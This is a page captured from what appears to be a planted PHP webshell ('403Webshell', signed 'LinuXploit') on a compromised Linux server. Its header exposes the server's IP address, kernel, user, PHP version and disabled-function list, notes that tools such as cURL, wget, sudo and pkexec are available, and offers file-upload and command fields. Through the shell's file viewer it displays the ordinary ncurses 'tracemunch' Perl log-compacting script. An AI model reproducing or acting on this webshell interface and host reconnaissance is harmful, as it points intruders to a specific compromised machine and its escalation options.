403Webshell
Server IP : 103.119.228.120  /  Your IP : 18.226.214.91
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/share/doc/ncurses-devel-5.9/test/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/share/doc/ncurses-devel-5.9/test/tracemunch
#!/usr/bin/perl -w
# $Id: tracemunch,v 1.6 2005/03/12 21:48:23 tom Exp $
##############################################################################
# Copyright (c) 1998-2002,2005 Free Software Foundation, Inc.                #
#                                                                            #
# Permission is hereby granted, free of charge, to any person obtaining a    #
# copy of this software and associated documentation files (the "Software"), #
# to deal in the Software without restriction, including without limitation  #
# the rights to use, copy, modify, merge, publish, distribute, distribute    #
# with modifications, sublicense, and/or sell copies of the Software, and to #
# permit persons to whom the Software is furnished to do so, subject to the  #
# following conditions:                                                      #
#                                                                            #
# The above copyright notice and this permission notice shall be included in #
# all copies or substantial portions of the Software.                        #
#                                                                            #
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,   #
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    #
# THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER      #
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING    #
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER        #
# DEALINGS IN THE SOFTWARE.                                                  #
#                                                                            #
# Except as contained in this notice, the name(s) of the above copyright     #
# holders shall not be used in advertising or otherwise to promote the sale, #
# use or other dealings in this Software without prior written               #
# authorization.                                                             #
##############################################################################
# tracemunch -- compactify ncurses trace logs
#
# The error logs produced by ncurses with tracing enabled can be very tedious
# to wade through.  This script helps by compacting runs of log lines that
# can be conveniently expressed as higher-level operations.
use strict;

our $putattr="PutAttrChar\\({{ '(.)' = 0[0-7]+ }}\\) at \\(([0-9]+), ([0-9]+)\\)";
our $waddnstr="waddnstr\\(0x([0-9a-f]+),\"([^\"]+)\",[0-9]+\\) called {A_NORMAL}";

our $win_nums=0;
our $curscr="";
our $newscr="";
our $stdscr="";
our @win_addr;

sub transaddr
{
    my $n;
    my $arg = $_[0];

    $arg =~ s/$curscr/curscr/g if ($curscr);
    $arg =~ s/$newscr/newscr/g if ($newscr);
    $arg =~ s/$stdscr/stdscr/g if ($stdscr);
    for $n (0..$#win_addr) {
	$arg =~ s/$win_addr[$n]/window$n/g if $win_addr[$n];
    }

    return $arg;
}

while (<STDIN>)
{
	my $addr;
	my $n;
	my $awaiting;

CLASSIFY: {
	# Transform window pointer addresses so it's easier to compare logs
	$awaiting = "curscr" if ($_ =~ /creating curscr/);
	$awaiting = "newscr" if ($_ =~ /creating newscr/);
	$awaiting = "stdscr" if ($_ =~ /creating stdscr/);
	if ($_ =~ /^create :window 0x([0-9a-f]+)/) {
	    $addr = "0x$1";
	    if ($awaiting eq "curscr") {
		$curscr = $addr;
	    } elsif ($awaiting eq "newscr") {
		$newscr = $addr;
	    } elsif ($awaiting eq "stdscr") {
		$stdscr = $addr;
	    } else {
		$win_addr[$win_nums] = $addr;
		$win_nums = $win_nums + 1;
	    }
	    $awaiting = "";
	} elsif ($_ =~ /^\.\.\.deleted win=0x([0-9a-f]+)/) {
	    $addr = "0x$1";
	    $_ = &transaddr($_);
	    if ($addr eq $curscr) {
		$curscr = "";
	    } elsif ($addr eq $newscr) {
		$newscr = "";
	    } elsif ($addr eq $stdscr) {
		$stdscr = "";
	    } else {
		for $n (0..$#win_addr) {
		    if ($win_addr[$n] eq $addr) {
			$win_addr[$n] = "";
		    }
		}
	    }
	}

	# Compactify runs of PutAttrChar calls (TR_CHARPUT)
	if ($_ =~ /$putattr/)
	{
		my $putattr_chars = $1;
		my $starty = $2;
		my $startx = $3;
		while (<STDIN>)
		{
			if ($_ =~ /$putattr/) {
				$putattr_chars .= $1;
			} else {
				last;
			}
		}
		print "RUN of PutAttrChar()s: \"$putattr_chars\" from ${starty}, ${startx}\n";
		redo CLASSIFY;
	}

	# Compactify runs of waddnstr calls (TR_CALLS)
	if ($_ =~ /$waddnstr/)
	{
		my $waddnstr_chars = $2;
		my $winaddr = $1;
		while (<STDIN>)
		{
			if ($_ =~ /$waddnstr/ && $1 eq $winaddr) {
				$waddnstr_chars .= $2;
			} else {
				last;
			}
		}
		my $winaddstr = &transaddr($winaddr);
		print "RUN of waddnstr()s: $winaddr, \"$waddnstr_chars\"\n";
		redo CLASSIFY;
	}

	# More transformations can go here

	# Repeated runs of anything
	my $anyline = &transaddr($_);
	my $repeatcount = 1;
	while (<STDIN>) {
	    if (&transaddr($_) eq $anyline) {
		$repeatcount++;
	    } else {
		last;
	    }
	}
	if ($repeatcount > 1) {
		print "${repeatcount} REPEATS OF $anyline";
	} else {
		print $anyline
	}
	redo CLASSIFY if $_;

	} # :CLASSIFY
}

# tracemunch ends here

Youez - 2016 - github.com/yon3zu
LinuXploit